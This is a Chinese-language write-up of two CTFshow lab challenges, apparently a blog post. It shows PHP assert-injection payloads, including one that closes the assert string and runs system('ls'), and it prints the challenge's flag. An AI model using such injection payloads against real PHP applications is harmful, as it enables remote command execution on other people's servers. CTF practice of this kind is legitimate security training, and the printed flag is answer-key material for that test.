CTFshow-菜狗杯-一言既出&&驷马难追

一言既出

1、解题思路

阅读PHP代码,发现有两个if语句,需要满足num==114514,同时还存在一个assert断言语句,要求满足,num=1919810,否则输出die()内容。
==为若比较类型可以通过转换字符类型绕过
而同时又要满足assert内容,只能通过闭合assert语句或者是assert为真绕过。
在这里插入图片描述

2、解题方法一

?num=114514)==1 or system(‘ls’);%23

实际执行
assert("intval($_GET[114514])==1 or system('ls');#)==1919810") or die("一言既出,驷马难追!")
echo $flag;

%23是注释符#的编码形式

3、解题方法二

?num=114514);(1919810

实际执行
assert("intval($_GET[114514]);(1919810==1919810") or die("一言既出,驷马难追!")
echo $flag;

4、获得flag

ctfshow{e1a3af51-efe0-4a94-9404-426a0fb0a40e}
在这里插入图片描述

5、补充方法

在看到驷马难追题目是,发现还有一种更加简单的绕过方案,即通过运算的方式满足运算

?num=114514%2b1805296
%2b为+

在这里插入图片描述

驷马难追

1、解题思路

使用了更加严格的限制,无法使用();等符号,所以无法使用闭合的方式,只能通过运算的方式满足条件

?num=114514%2b1805296

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值